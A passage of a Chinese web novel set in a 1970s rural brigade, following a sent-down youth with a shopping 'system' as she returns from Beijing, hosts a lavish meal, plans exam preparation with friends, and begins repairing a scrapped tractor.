俩人的麻袋看起来并没有很满，重量上也不如那两个男同志负责的。 出了火车站，就看到路边停着的马车，靠着车头的位置坐着赶车的老汉。 老汉一见四人身影，赶忙下了牛车，拉着缰绳往前走了走，尽可能的让那四个人少走几步路。 将东西堆在车上，顾草根就招呼着大家上车。 “现在天黑得早，咱们现在赶紧往回赶，兴许还能赶得上吃晚饭。” 顾草根一边说着，一边坐在了车头。 耿二牛没意见，他就是过来帮忙提东西的。 程十一和陈丽娇对视了一眼，俩人几乎是同时从对方的眼里看到了同样的意思：不想今天晚上回去。 “叔。” 程十一笑嘻嘻的坐在了顾草根身后：“叔，我和京都还有老家那边都联系好了，晚上五点得给他们打个电话保平安。你看，要不咱们都在县里住一个晚上见吧！等明天一早了再往回赶，那时候天亮堂，路也好走，还没那么冷。” “啥？都住县里？不成不成！那得老鼻子钱了。” 顾草根一听就急了，连连摆手。 第188章 这到底是谁家出来的败家丫头啊 程十一并不意外大队长会拒绝这样的提议，但拒绝的理由并不是晚上必须得回去，反而是担心花销太大。 那么这件事可就很有操作空间了。 程十一拍了拍心口，很是豪气的说道：“大队长，这个你就不用担心了。和你说吧，我这次去京都可是立了功的，得了不少奖励嘞！正好，咱们今天晚上尝尝我从京都带回来的烤鸭，那滋味儿，啧，真是想想都想流口水。” 说着，程十一还真吸溜了下口水。 不等顾草根说话，程十一又委屈巴巴的说道：“叔，您看我这都坐了好几天的火车了，要是再寒风里摸黑赶路，万一给我冻病了咋办啊？而且我真的还得给京都的领导，还有老家那边的机械厂领导保平安。您看，要是您三位男同志都不跟着，就我们两个小姑娘留在县里，您能放心吗？” 顾草根听得眼皮一阵阵的狂跳。 还放心吗？ 这丫头一个人都敢来回的跑了，他要真不放心，最开始就压根不会给她开介绍信！ 可话说回来，小程知青确实是折腾了这么多天了，要真是摸黑吹着寒风往回赶，真要生病了，他这良心还真不安。 就在此时，程十一又接着说道：“咱们也不开多少的房间，我和娇娇姐开一间两张床的，就辛苦您三位睡大通铺吧！这样其实也没多少钱，怎么都好过灌一肚子冷风回去，万一病了，那岂不是都是我的问题了？” “行了行了，住一晚就住一晚，不过也不用你出钱，我带钱出来了，这些花销都从队上的公账里出就是。” 顾草根摆摆手，又对赶车的老汉说道：“去招待所吧！” “行。” 老汉一点意见都没有。 反正大队长找他出车的时候就已经说了，万一太晚了赶不回来就会在公社对付一个晚上。 家里也知道，所以也就不用担心家里人会紧张害怕。 只不过现在睡觉的地方从公社变成了县里了而已。 又不是让他出钱，他只管听安排就成。 火车站附近的招待所能住人，但不能住牲口，只能继续往县里面走。 牛车的速度并不快，程十一就和陈丽娇凑在一起，也不说话，主要是冷风吹着，怕吹一肚子冷风。 几个人全都在观察周围有没有招待所。 走了将近二十分钟，终于找到了个招待所，是个一长排的平房，不过后面有牛马棚子。 顾草根亲自去看过了，棚子外围都围了草帘子，收拾得也干净，还有干净的干草和水，都是给牲畜准备的。 这环境，看起来可要比他们大队的牛棚好多了。 趁着顾草根和赶车老汉去安置牛车的功夫，程十一直接开了两个房间。 一个双人间，一个三人间。 程十一的行李都送到了二人间。 等到顾草根知道压根不是大通铺后，直接气得瞪了程十一一眼，倒也没说别的什么。 晚饭是去的国营饭店。 正好是饭点时间，国营饭店里人声鼎沸，很是热闹。 随着大门开开合合，有白烟从屋里飘出，其中还夹杂着饭菜的香气。 程十一怀里抱着个油纸包，跟着其他人一起进了国营饭店。 赶车的老汉还是第一次进这地方，显得很拘谨，甚至都不敢乱瞟。 耿二牛倒是细心，拉着老汉坐在了靠着窗户的一张桌子旁边。 顾草根本来也有点紧张，他虽然是大队长，可也不是随随便便就能吃国营饭店的人。 他也想跟着耿二牛去座位旁边坐下，但又担心程十一会乱点菜，只能硬着头皮跟着。 程十一回头看了一眼跟在后面的顾草根，凑到陈丽娇耳边小声说了几句话。 陈丽娇点点头，停住脚步挡在了程十一的身后，笑呵呵的看着顾草根：“大队长，这么冷的天，您和那大叔要不要喝一口小酒啊？一人来二两咋样？” “喝酒？” 顾草根的眼睛唰的亮了下。 别说这凉飕飕的天气了，就算是在盛夏，他也稀罕喝两口啊！ 可转念想到什么，他又板着脸摇摇头：“算了，回去再说吧！今天晚上吃吧一口就行。” “叔，十一妹妹可是带了烤鸭过来的，您就不想试试一口小白酒，一口鸭肉是啥滋味吗？我和你说啊！那真是啧，老香老香了！” 陈丽娇一边说，还一边做出一个非常享受的表情。 顾草根下意识的咽了口口水。 虽然他不知道一口白酒一口鸭肉是啥滋味，但他知道一口白酒一口肉是什么滋味啊！ 那真是……神仙都不换的好滋味啊！ 就在这俩人说话的功夫，程十一已经快速点好了餐，交了钱和相应的票。 “娇娇姐姐，叔，你们过来帮忙断一下。” 程十一的招呼声打断了那俩人的对话。 只见程十一手边的桌子上放着两瓶汽水，还有三个玻璃杯。 此时一名服务员正拿着个端子从一旁不大的缸里面捞。 端子就是个圆筒形的容器，上面加上一根长长的 提把手，可以用来提捞液体。 招待所里卖的醋、酱油之类的都是用这东西。 三个玻璃杯里都倒了一端子的白酒。 “啊这，这……” 看着那明显都能挂杯的透明液体，顾草根感觉自己的馋虫彻底的疯狂了。 算了，这顿饭就算他这个大队长私人出钱请客吧！ 这酒，啧，离着这老远都能闻到香味儿，肯定差不了！ 酒是真不错。 就冲着这酒，顾草根都觉得这顿饭花个一两块钱，他都认了。 可当听到服务员叫号，程十一和陈丽娇一趟趟的去端菜回来摆在桌子上后，顾草根感觉这酒不香了，他的心口也在闷闷的疼。 娘哎，这到底是谁家出来的败家丫头啊！ 谁家好人出来吃个晚饭会点这老多的菜？ 一道道的，真是一个比一个硬啊！ 肉沫茄子，柿子炒鸡蛋，红烧肉，小鸡炖蘑菇，还有一道红烧鱼。 那鱼一看少说也得有二斤重，好大的一盘子摆在正中间。 “你，你这丫头，你咋点了这么多啊？” 顾草根眼前一阵阵发黑。 完犊子了，别说他自己的钱了，就算是算上从公账上预支的十块钱怕是都不够这顿饭造的！ 第189章 黑炭成精 “多吗？” 程十一看着桌子上的一个大海碗，四个大盘子，嗯，确实不少。 顾草根翻了个白眼：“这不多吗？你当咱们五个人是啥？是猪啊！咋可能吃得了这么多？” “吃不了就打包带走呗！正好我带饭盒了，还有罐头瓶子，肯定装得下。” 程十一说着，拍了拍被自己放在一旁窗台上的布兜子。 随着她拍打的动作，里面发出金属碰撞，以及玻璃相碰的声响。 顾草根张了张嘴，一时间竟然不知道该说点什么才好。 烤鸭是程十一另外花了两块钱的加工费，特意请后厨的大师傅帮忙加热了下，还片成了片。 鸭头、鸭腚，以及半副骨架留给了后厨，剩下的半副鸭骨架还帮忙炖了汤。 可以说后厨帮个忙，不仅能得两块钱的加工费，更能品尝一下京都烤鸭的味道，虽说部位都不算好吧，可放在当下这个时代，那也不是谁都能尝到的滋味。 饭桌上的五个人，三位知青同志倒是很淡定，但顾草根和赶车老汉就不是那么淡定了。 这么多的荤菜，就算是过年也没这么吃过啊！ 所以当米饭端上桌，这俩人还没来得及喝上一口酒，就先一人干掉了一碗大米饭。 程十一也不拦着，不过等再来一碗米饭时，程十一拿起了自己的汽水瓶子。 被这么一提醒，顾草根也才想起来自己还有一杯白酒没滋溜。 一下子，吃饭的节奏就被放慢了。 酒没喝两口，热好片好的烤鸭上了桌。 论口感，那肯定是不如在京都吃的，可滋味也是不错。 饭吃了一半，骨架汤被端了上来。 这下真是汤汤水水的都齐全了。 酒足饭饱，菜还真剩下了些。 五个人，包括赶车的老汉在内，都不是那种不讲究的人，吃饭的时候也都是可着饭菜的边缘夹，这就造成了剩菜都是中间的那一块。 打包剩菜剩饭，陈丽娇就要将盘子里的菜一股脑的倒进饭盒，却被程十一阻止了。 只见程十一将饭盒依次掰开，先端起了红烧肉的盘子，里面的红烧肉剩下了不到三分之一。 份量大，就算是三分之一其实也不少了。 分别给每个饭盒里都放了红烧肉，连肉汤都是估摸着平均分的，之后的其他剩菜也是这样的处理办法。 这就造成了每个饭盒里都有不同种类的剩菜。 顾草根在一旁看得脸皮都在抽抽：“我说丫头啊，你这样装菜不都混在一起了？就一样菜装一个饭盒呗，这样一热，吃的时候也是一份一份的。” 程十一摇头：“分开装，咱们一人分一盒，拿回家再放点白菜土豆啥的，也算是一个荤菜了。” “啥？这里还有我们的？” 顾草根瞪大眼睛。 好家伙，这是让他们真真切切的上演了一出连吃带拿啊！ 拉扯自然是要拉扯一番，只不过大家现在拉扯的心思已经不重了。 程十一和陈丽娇谁都没要，反而是耿二牛一人分了两份。 耿二牛自己一份，另外一份是帮着祝成才带回去的。 顾草根和老汉一人一份。 不过顾草根和老汉都以为是程十一他们四个知青拿了两份。 钱都是人家出的，人家拿两份也正常，这都让他们连吃带拿的了，还想那么多干甚？ 吃饱喝足，东西也都打包好了，四个人就朝着招待所的方向走。 这会儿天还没完全黑透，程十一看了下时间，嗯，四点了。 四点的天就已经这么暗了，啧，真是快入冬了啊！ “叔，你俩把饭盒带回去吧！让他俩陪我去打个电话，行不？” 刚走出饭店没多远，程十一就提了这样的要求。 顾草根会不同意？ 那必然不会啊！ “去吧去吧！你们打完电话就早点回来，天马上就要黑了。” 顾草根接过耿二牛手里的网兜，摆摆手就让三个人赶紧离开。 有耿二牛这么个男同志在，他是真放心不少。 五个人分成了两伙，朝着不同的方向而去。 程十一是真的要去打电话。 别的不说，京都那边肯定是要打一个的，因为阮兴国一直等着呢！ 至于耿二牛和陈丽娇，他俩愿意打就打，不愿意打那就当陪自己溜达一圈。 谁知这一问，才发现这俩人还真都要去邮局一趟，而且还都是打电话。 嘿，这不就巧了么！ 三个人打完电话后就离开了邮局。 路过一家供销社，发现还没关门，三个人就直接钻了进去，等再出来时，耿二牛同志的两只手里就多了好几个网兜，就连程十一和陈丽娇的手里都多了不少东西。 陈丽娇和程十一走在前面：“十一，你都不知道，你不在大队的这段时间，妈呀，那一天天的可真是要累死人了！” 分开了半个来月的时间，程十一发现陈丽娇的口音已经发生了翻天覆地的变化。 明显的东北口音，但又带着老家那边的口音，听起来别提有多搞笑了。 经过她的一番絮絮叨叨，程十一知道了自己没在大队的这段时间正是秋收中最累的时间。 除了程十一参与救粮的那一次大雨外，之后的天气都很晴朗，晴朗到三天都看不见一片云彩的那种。 哪怕陈丽娇有程十一送的帽子，可依旧不可避免的晒黑了不少。 刚刚在供销社，这姑娘可是买了两大瓶雪花膏，大有一副要将雪花膏当饭吃的架势。 别说是陈丽娇了，就连耿二牛都买了好几个蛤蜊油，说是自己和祝成才一起的。 和陈丽娇相比，耿二牛黑得就更厉害了，整个人不睁开眼睛不张嘴，那就是块人形黑炭。 一睁眼，一张嘴，好家伙，妥妥的黑炭成精了。 除了这些外，三个人还买了不少别的东西。 这也是听陈丽娇说的。 陈丽娇听大队上的其他社员说，等到秋收之后天就越来越冷，一旦下雪，再想出来采购可就不容易了。 所以趁着这次出来有专车在，三个人都想尽可能多的买一些能放得住的东西。 回到招待所，赶车的老汉早就已经呼噜连天，倒是顾草根一直没睡，正蹲在自己房间门口吧嗒旱烟，一看到三个孩子回来了，他着实是长松了一口气。 只是这口气也只是松了一半，因为他看到了这三人手里多了不少东西，人直接傻眼了，腿一软，还不等站起来就先跌坐在了地面上。 第190章 系统彻底摆烂了 躺在床上的顾草根在临睡着前脑子里都在琢磨同一件事：咋就能有人这么能花钱呢？ 他的想不通，程十一和陈丽娇不知道，这俩姑娘这会儿正在斜对面的双人间里擦香香。 “十一，你这个雪花膏味道好好闻啊！是在京都的百货大楼买的？” 陈丽娇学着程十一教的样子，正在有序的按揉脸皮。 程十一也在揉脸：“不完全是，有一些是在友谊商店买的。” “友谊商店？你去友谊商店啦？” 陈丽娇的眼睛都亮了。 友谊商店，她也去过，但也就只是去过而已，那地方的东西真不是一般人能买的。 程十一点点头：“去了，正好得了几张外汇券，我就买了点东西。” 说着还抬了抬下巴：“刚刚你用的那一套就是专门给你带回来的。你用吧，回头用完了和我说，我再想办法弄新的回来。” 陈丽娇突然就不揉脸了，朝着程十一就扑了过去。 要不是程十一一直看着她的动作，知道是她，不是什么坏人，估计这会儿就要一脚踹出去了。 被对方结结实实的抱了个满怀，程十一突然感觉有点窒息。 不是，平常看着也没感觉这妮子的身材这么好啊，现在咋突然就变得这么……憋闷人了？ 想到自己那扁平的身材，程十一突然就抑郁了。 不行，除了身高外，其他地方也得补起来了！ 过了年她可就十六了，再不抓紧补，万一以后再也大不起来了咋办？ 这么想着，程十一默默的决定回头就从商城里买猪蹄回来，到时候泡点黄豆一起炖。 她就不信她补不大了！ 第二天一早，程十一是被屋里的声响惊醒的。 其实声音并不大，陈丽娇很小心的起来了，只是这床一翻身都会发出咯吱咯吱的响声，再加上地盘走在上面也有声音，程十一想听不见都难。 “娇娇姐姐，几点了？” 窗帘拉着，但也能看出来外面应该是天亮了，但也仅限于天亮了而已，屋里的光线更暗。 陈丽娇的身形一顿，叹气：“还是把你吵醒了吗？现在已经六点了，我想去一趟厕所。” “六点了啊？那行，你去吧！” 程十一打了个哈欠，翻身，扯过被子准备再睡会儿。 陈丽娇开门出去，又将门关上。 可就在门关上的瞬间，程十一又听见了陈丽娇的说话声：“你咋起这么早？要出发了吗？” 后面的半句是隔着门板传进来的。 程十一眨眨眼，有点懵。 不是，大队长他们不至于这么拼吧，大早上六点起来出发？ 接着就听见耿二牛压低的声音传进来：“先不走，大队长他俩还没醒，我寻思着去买点早餐，这样他们起来就能吃了。” “哦哦，这样，那你钱和粮票够不够？我给你拿点吧！” “不用，我这里够的。买包子油条豆浆行不？” 两个人说话的声音越来越不清晰。 程十一本来想吃个现成的，可是一听到油条后，程十一就有点躺不住了。 也不梳洗，穿上衣服就往外走。 门上了锁，钥匙送到一旁的洗手间，程十一就一溜烟的去追耿二牛。 国营饭店就提供早餐，别看才六点多，但人是真的不少。 程十一赶到的时候耿二牛还在排队。 因为程十一的出现，耿二牛本来打算花钱借几个碗回去的想法直接失效。 程十一带了五个饭盒过来。 她别的不多，饭盒是真的多。 对于这一点，耿二牛早就在下乡的火车上见识到了，那真是……跟卖饭盒的似的。 有了饭盒在，豆腐脑就能带回去了。 程十一还另外拿出了一个水壶，装了满满的豆浆，这才和耿二牛回了招待所。 顾草根俩人因为喝了酒，所以早上就起来了晚一些，可当程十一俩人回去的时候，他们早就已经洗漱好了，就等着出发往回赶。 看到早饭带了回来，顾草根那叫一个说不出的复杂。 真是太贴心了！ 而赶车的老汉就只剩下了一个念头：以后就跟着这几个小知青混！ 吃饱喝好，还能连吃带拿，简直不要太舒坦啊！ 吃饱喝足，五个人将东西搬上牛车，便出发往回赶。 只是刚出招待所没多会儿，程十一就感觉到有人在跟着他们。 这会儿是上班时间，路上的行人还是挺多的，所以牛车的速度并不快。 同时也是因为行人多，程十一才会这会儿才发现有人跟着他们。 装作和人闲聊的样子侧头，用余光朝着后面看去，就看到一个不算很高的瘦子穿着一身的黑衣服，半张脸都埋在了衣领里，正狗狗祟祟的朝着牛车的方向走。 这身影瞧着有点眼熟啊！ 程十一眯了眯眼，自己什么时候在县城得罪人了？ 也不知道是不是看到程十一侧头和身后的人说话了，黑衣服突然抬手摆了摆。 这一操作直接把程十一整不会了。 不是，啥玩意儿？不是对手？ 也不用余光了，程十一直接半个身子都转了过去，就这么回头看。 而黑衣人也注意到了这一点，赶紧将衣领往下拽了拽，露出了真容。 这一眼，程十一恍然大悟。 好家伙，她在县城没得罪人，但确实是有个熟，也不算很熟的熟人啊！ 这不是那个谁…… 系统：亲爱的主人，那是欧阳城。 系统已经彻底摆烂了，它不就是说过不做任务也不影响主人的生活吗，结果可好，主人那真是能不提任务就不提任务。 程十一恍然，赶紧对赶车的老汉说道：“叔，停车，停车。” 前面俩人不明所以，赶紧停了牛车。 程十一掀开盖在腿上的被子，动作麻利的跳下牛车，留下一句“等我下”，就急匆匆的迎向欧阳城。 不过在俩人快碰面时，程十一脚步一转，又转进了旁边的胡同。 欧阳城反应也快，朝着牛车的方向看了眼，这才装作若无其事的样子也跟着进了胡同。 一进胡同，就看到程十一站在不远处等着自己。 “同志，你，你可算回来了。” 一看到程十一，欧阳城还是挺紧张的。 他这些天一直守在火车站，从早到晚，除了中午回去一趟看看奶奶外，其他时间就这么一直守着，天天冻得鼻涕横流。 可他不敢不等，甚至都不敢找人帮忙，他自己都怕认错人，就更别提其他人了。 第191章 可算回到大队了 这些天他但凡看到从出站口出来的人的身影相似的女同志，都要过去仔细看看，可每次的结果都是失望的。 其中还有几次被人家女同志发现了，差点没误会成是坏人。 如今，终于看到了，欧阳城的心情除了有试探的紧张外，就是确定后的激动。 程十一有点心虚。 她还真把这人给忘了。 “我这次出门的时间有点久，让你久等了。” 程十一自然不可能多解释自己为什么回来得这么晚，甚至都没等对方的回应，便直接说道：“上次给你的钱还有没有了？” 欧阳城有些尴尬，两只手揪着衣角，蚊子叫一样的说道：“还，还剩下不到一块钱，我，我带我奶奶去医院了。” “老太太检查结果怎么样？” 程十一随嘴那么一问，同时手已经摸进了挎包。 提起奶奶，欧阳城的眸光暗了暗：“医生给开了药，但也只能缓解，不能着凉，不能受风，还要多吃点有营养的东西。” “行，那你回头给老太太多买点肉和鸡蛋，如果有水果，就再买点水果。” 程十一从包里拿出了个手帕，手帕是新的，她没用过，而手帕里面包着的是钱：“这钱你拿着，如果不下雪的话，一个星期后我会来县里，下雪的话就不一定了，到时候我会去你家找你。” “你用这个钱，想办法租个院子，不用多好的地方，最好是隐蔽一些。具体的，等我下次过来再说。” 程十一将手帕塞给欧阳城后就走。 外面还有好几个人等着自己呢，可不能多耽搁了。 欧阳城一头雾水。 不是，这人咋又给自己钱啊？ 程十一已经走出去两步远，想到什么，停住脚补充了句：“这件事只有咱俩知道，暂时不要让第三个人知晓，包括你奶奶。” “啊？啊！好，好的，可，可是，你叫什么名字啊？” 欧阳城脑子一抽，问出了这么个问题。 程十一咧嘴一笑：“你叫我程姐就行。” 说完就走。 欧阳城：…… 不是，这个小同志看起来能有十五不？他今年可都十七了，怎么也轮不到他叫她姐吧！ 回到牛车上，程十一刚坐好，陈丽娇就立刻将盖着腿的被子给程十一盖好。 路过公社的时候停了一下，是顾草根去问问公社安排的拖拉机手什么时候能到位。 那报废的拖拉机已经运到了光荣大队，其中的过程，程十一没细问，不过顾草根倒是和她说了，已经去找公社领导，请求联系个拖拉机手过来帮忙看看拖拉机，顺便做一下驾驶指导。 只是现在位于秋收时间，拖拉机手都很忙，压根没时间过来。 这次也是一样，不过是都已经来公社了，就想着有草没草的，搂一把试试。 答案果然和顾草根预料的一样，还没有拖拉机手能有时间。 顾草根回到牛车上就开始叹气。 程十一好笑的拍了拍顾草根的肩膀：“叔，叹啥气呢！那拖拉机现在一时半会儿的虽说还用不了，但是我学了怎么修拖拉机啊！回头你给我安排两个人跟着我一起研究，等我把拖拉机修好了，那俩人也就都能学会了。” 除了在京都的那几天在疯狂整理机床数据、图纸之类的外，其他没事做的时候，程十一可是真的有很认真的在恶补拖拉机的维修知识，以及驾驶技巧。 现在的她不能说有多专精这项技术，但肯定是有一定的操作经验了，因为从商城里买的那辆二手拖拉机已经被她拆得零碎到不能更零碎了。 顾草根一听这话自然是高兴的：“行行，那我回头就给你安排俩人去学！” 突然想到什么，顾草根侧身对着坐在车位的耿二牛问道：“耿知青，你有没有想法开拖拉机？” 耿二牛一愣，指着自己的鼻子：“我？” “对，你，你和祝知青，你俩有没有这想法？” 顾草根这话就等于是将这两个名额全都安排给男知青了。 要说他是真心的吗？ 那还真不是。 拖拉机手啊！ 这名字光是说出去就足够让人羡慕的了，谁不想让自家的孩子去当？ 但这也是没办法的事，拖拉机是人家小程知青弄回来的，还要教技术，教驾驶，自己总要做点面子活，就盼着耿知青能懂点儿事，别真的舔着大脸答应下来。 耿二牛眨巴眨巴眼，随即摇摇头：“我就算了，回头我问问祝知青吧！” 顾草根当即松了口气。 这样就好，哪怕只有一个名额空出来，自己对外面也好交代。 程十一将顾草根的反应看在眼里，心里感觉有些好笑的同时，又感觉顾草根这个大队长算是真心很不错的了。 但凡换成别的大队长，怕是恨不能将这两个名额都摁在自己家里，或者是本地的社员身上，哪能张嘴就全都送给男知青啊！ 牛车一路晃晃悠悠的终于回到了光荣大队。 这会儿还是上工时间，道路两旁的庄稼地里能看到社员们正在挥汗如雨的劳作，有人注意到了牛车，纷纷出声摆手打招呼。 顾草根也挥挥手，算是给了回应。 现在都是抓紧抢收的时候，哪怕没有之前那么辛苦了，可大家也很少会有在这种时候不干活去瞧热闹的，至少当着大队长的面不敢明目张胆，否则被扣了工分，那才是亏大了。 所以程十一还算是一路平静的回到了自家。 “你们三个自己研究，要是不想上工，下午就再给你们半天假，不扣工分。” 顾草根临离开前留下了这一番话，当然，走的时候也没忘了将分给自己的那份剩菜带走。 至于饭盒，等回头再让家里人给还回来就是。 程十一全都在程十一家的门口，等着程十一开门后，三个人将大包小裹的搬到了屋子里。 这么长时间没在家，屋里早就已经凉透了，程十一赶紧开窗通风，陈丽娇就蹲在灶台前面点火烧水。 耿二牛也没闲着，将东西搬到屋子里后就回了自己院子，等再回来时，一手提着两个暖水瓶，一手提着一桶清水。 第192章 我没说我要考大学啊 “这段时间你没在家，大队长找了人打水井，你这院子我们也不好撬锁进来，就把水井打在我和老祝的院子了，回头你俩水缸里没水了就招呼声，我俩给你俩提过来。” 耿二牛进来后说了这么一句。 程十一没想到秋收期间竟然还把水井这事给解决了，着实意外了下。 谁知就听陈丽娇哼哼道：“还不是因为你给咱们大队整了辆拖拉机回来，大队长那是心里过意不去，所以这才赶紧想办法挖了水井。” “哈哈哈！” 程十一倒是没想到这一层，不过现在想到了也不觉得怎么样，反而问耿二牛：“打水井花了多少钱？回头我把我的那份给你俩。” “不用，这钱我和老祝出了，你俩就别掏钱了。” 耿二牛将水缸里原本的水都倒了出来，又倒了些清水进去，将水缸仔细刷洗干净。 手上干活利索，一点都没因为说话耽误半点。 陈丽娇也道：“就是，咱俩就不出这钱了，回头等逢年过节了，他俩的饭菜咱俩包了就是。” 见陈丽娇都这么说了，程十一也就没再坚持。 他们四个人现在的状态其实很好，没有说谁特意去找谁的便宜，虽说不能什么都分得那么清楚仔细，但大家也都是尽可能的不会让对方为自己多花什么钱。 想到了拖拉机手的事，程十一想了想，说道：“晚饭都来我这里吃吧！” “行。” 这次俩人都没意见。 耿二牛将水缸清洗干净后，又提水过来将水缸装满水，又去将柴整理了下，这便回了自己屋。 下午他就不打算去上工了。 主要是现在都已经到了下午了，没必要这么折腾，就那几个工分，他不差。 两份剩菜都留给了他和祝成才，这会儿已经被他放在盆里，而盆就放在了水缸里，有井水镇着，没那么容易坏。 别看是昨天晚上的剩菜，要留到明天早上才吃，可在当下这个时代，这样大的油水别说是隔一天了，就算是隔上个三四天，只要菜不变质，那都是不舍得扔掉的。 对于这些，程十一自然是不清楚，也不关注。 晚上叫小伙伴们来自己这里吃饭，主要是她有别的事情要说。 晚饭自然是陈丽娇做的。 在县里买到了新鲜的猪肉，现在吃刚刚好。 白菜粉条炖猪肉片，酸辣土豆丝，柿子炒鸡蛋，拍黄瓜。 主食是大米饭，没加其他东西的那种。 祝成才下工回来才知道程十一回来了，连手都没洗就赶紧去打招呼，见人是全须全尾的回来了，这才松了口气，又回自己家洗了手脸，换了身干净的衣服，这才跟着耿二牛一起过来吃饭。 四个人里面，祝成才那可是妥妥的干了一下午的活，早就饿了。 程十一也不着急，等大家都吃得差不多了，这才挑起了话题。 “有个问题，我想问问你们，你们只管说说各自的想法，也别外传。” 程十一的一开端，就让三个人的精神都是一紧。 陈丽娇问：“十一，啥事啊？整得这么紧张。” 喝了口水，程十一环视三人一圈，这才低声说道：“你们，有想过考大学吗？” “啊？” 三个人几乎是同款反应，全都是一脸震惊。 陈丽娇更是紧张的追问：“十一，你是不是听到什么消息了？” “我没有任何证据，也不负任何责任。” 程十一耸耸肩，在三双无比震惊期待甚至是兴奋的目光中慢悠悠说道：“我就是觉得国家发展离不开人才，咱们这些下乡知青年轻，读过书，按说应该就是国家发展需要的人才才对。我们也算是经历了过了中下贫农再教育，思想更升了一个台阶。” “我认为现在的我们更加符合人才的标准了。所以，我觉得，如果有机会恢复高考的话，你们三个考虑考大学吗？” 话音落下，屋里却陷入到了诡异的安静中。 另外三人相互对视一眼，然后一起看向程十一，几乎是同时说道：“想考！” 程十一了然点头：“既然这样，那咱们先说话了，机会都是留给有准备的人的。我可以帮你们提前准备一些学习资料，但是你们不能外传，更不能让任何知道这件事是我提起来的。” “那肯定的。” 耿二牛当即拍着胸口：“这件事咱们谁都不能说出去就是了。” 祝成才附和：“确实，这件事如果被外人知道了，咱们四个谁都落不得好。” 陈丽娇也连连点头表示赞同。 程十一要的就是这三个人这样的态度：“那么接下来就是另外一个问题了。对于大队的拖拉机手的事，你们两位男同志是怎么考虑的？我先说好，如果学习驾驶、维修拖拉机，这个学习的过程需要时间不说，回头等真学会了，保不齐要经常的外出工作，这个也需要占用不少时间。” “这样肯定会占用不少其他学习时间，所以，对于这个取舍或者说是安排，得你们俩自己来做决定。” 刚刚回来洗漱换衣服的时候，祝成才就听耿二牛提起了拖拉机手的事，当时他还有点激动，不过等真果来吃饭了，他就没那么激动了。 再被程十一提起的高考的事刺激一下，他现在对拖拉机手这个岗位已经做到了心如止水，没有半点波澜。 “我不打算去竞争拖拉机手这个职位。” 祝成才笑着摇头：“我虽然没开过拖拉机，但是我坐过那玩意儿，能把人的骨头都给颠散架了，我做不来。” 耿二牛也笑着说：“对，我也是这么想的。” 俩人的选择一致。 程十一拍拍手：“既然这样，那等秋收后闲下来了，你们就开始准备读书学习吧！我来给你们做最强大的后盾！” “十一，你不学吗？” 陈丽娇突然听出来什么，当即看向程十一。 程十一眨眨眼，点点头：“是啊！我没说我要考大学啊！” “为什么？” 陈丽娇表示不理解。 不管高考是不是真的能够恢复，但……学习这事难道不应该是一辈子都在做的事情吗？ 第193章 大胆小贼竟然敢偷拖拉机 “不为什么啊，就是没这个打算。” 程十一总不能说自己只想赚钱，然后过上咸鱼般的富婆人生吧！ 见陈丽娇还是一脸不解，想要继续追问的样子，程十一赶紧岔开话题。 一顿饭下来，四个人全都吃得满足，虽然陈丽娇还是想不通程十一为什么不想考大学，但她也没有纠结太久。 第二天一早，陈丽娇和耿二牛就恢复了正常上工，而程十一也上工了，不过和其他人的工作不同，她的工作是去看看远道而来的废铜烂铁。 也不知道那报废的拖拉机现在是个什么状态，可千万别随意的堆放在一起，那样挑拣起来可就费老鼻子劲了。 程十一起来得晚一些，她出门的时候整个大队都没几个人在了，只要是还能动的人基本上都去上工赚工分，所以一路上倒是格外的安静。 来到大队部也没看到人，不过程十一也不愁，一边朝着仓库的方向走，一边从兜里摸出了一把钥匙。 这钥匙就是仓库的钥匙，而那仓库也是临时收拾出来的一间屋子，茅草屋，黄土墙，空间倒是不算小。 以往都是用来存放粮食用的，但今年多了个铁家伙，所以就被单独收拾出来存放这玩意儿。 钥匙也是顾草根昨天给的，也是他交代的可以晚点过来。 程十一开门，一股子机油柴油，混杂着霉味的复杂气味就涌了出来。 开了门放了会儿风，程十一又将近前后的两扇窗户全都打开了。 随着窗户打开，屋里的光线一下子亮堂不少。 而她也早就看到了报废拖拉机的样子。 和她想象中的画面很是不同，没有杂乱无章的堆放，也没有像是对待什么珍贵仪器一样供起来。 拖拉机也就只是一个车头而已，此时用木条和木板作为保护，在外面罩住，从木条的缝隙能够看到里面的大家伙。 而像是方向盘、驾驶位这些中间有空间的地方，也都被塞满了破报纸、破布头。 程十一看得直咋舌。 真不知道是哪个大聪明想的办法，竟然用破报纸和破布头来充填空间。 话说，这布头不是应该很抢手才对吗？ 如此想着，手上的动作却是没停。 屋里除了这么个家伙之外就没有别的东西了，程十一直接从系统仓库里拿出了一根撬棍。 这玩意儿还是从商城里买回来的，已经用了很多次了，用于拆仓库里的那辆二手拖拉机。 用力，撬！ 随着一根根木条被撬开，罩在拖拉机外面的保护罩很快就被拆掉。 接下来就是将空间里塞满的报纸和破布全都清理出来。 这一清理不要紧，程十一之前还觉得这样的填充多少有点画蛇添足，可随着剩下的填充物只剩下不到三分之一，她这才发现填充物下面竟然放着两个木头箱子。 箱子上面没有锁，只是用铁丝固定住了。 拧开铁丝，打开箱子，就看到里面放着的竟然是各种工具！ 虽说都不是新的，有明显的脏污和划痕，但绝对是维修拖拉机能用得上的东西。 而另外一个箱子里竟然放着各种型号的螺丝、螺帽、垫片之类的小玩意儿，甚至还有一些拖拉机上的小零件。 程十一看得眼睛都亮了。 她本来还想着自己检查一遍，看看需要更换什么零件，到时候就将自己系统仓库里的那台二手拖拉机拆下来的零件替换上。 不曾想这拖拉机厂竟然给准备了不少。 好家伙，贴心！ 必须贴心！ 她收回之前觉得报废拖拉机还要好几千，觉得很贵的想法。 将两个箱子搬下来放在一旁，程十一就开始拆拖拉机了。 不拆不知道具体哪里有问题，顺便也是一个保养的过程，没问题的地方也要检查一下，做到心里有数，回头等大队长安排的学员过来了，自己也能在最短的时间内让他们出师。 就算赶不上秋收了，但怎么也要开着拖拉机去送粮食吧！ 程十一这么一忙就投入了进去，完全没注意到外面的天色变化。 转眼就快到中午了，各家各户安排回去做饭的人都陆陆续续的回了各家。 有人家路过大队部的，下意识的看了一眼院子里，一下子就注意到存放拖拉机的那间仓库门竟然是开着的，当即吓得大叫起来。 同行的人全都被吓了一跳，纷纷冲进大队部。 那拖拉机可是他们大队的宝贝啊，就算现在暂时还不能用，但东西摆在那，就跟定海神针似的，让人心里踏实。 可现在仓库的门开着，难不成是有人来偷拖拉机了？ 那可不行！ 冲进来的人骂骂咧咧，等冲到门口正要抓贼时，却被眼前的景象惊得全都呆立当场。 “妈呀！拖拉机被拆了啊！” 也不知道是谁，突然嗷的一嗓子，愣是让沉浸在检修状态中的程十一都被吓了一跳，当即停下手里的动作朝着门口看去。 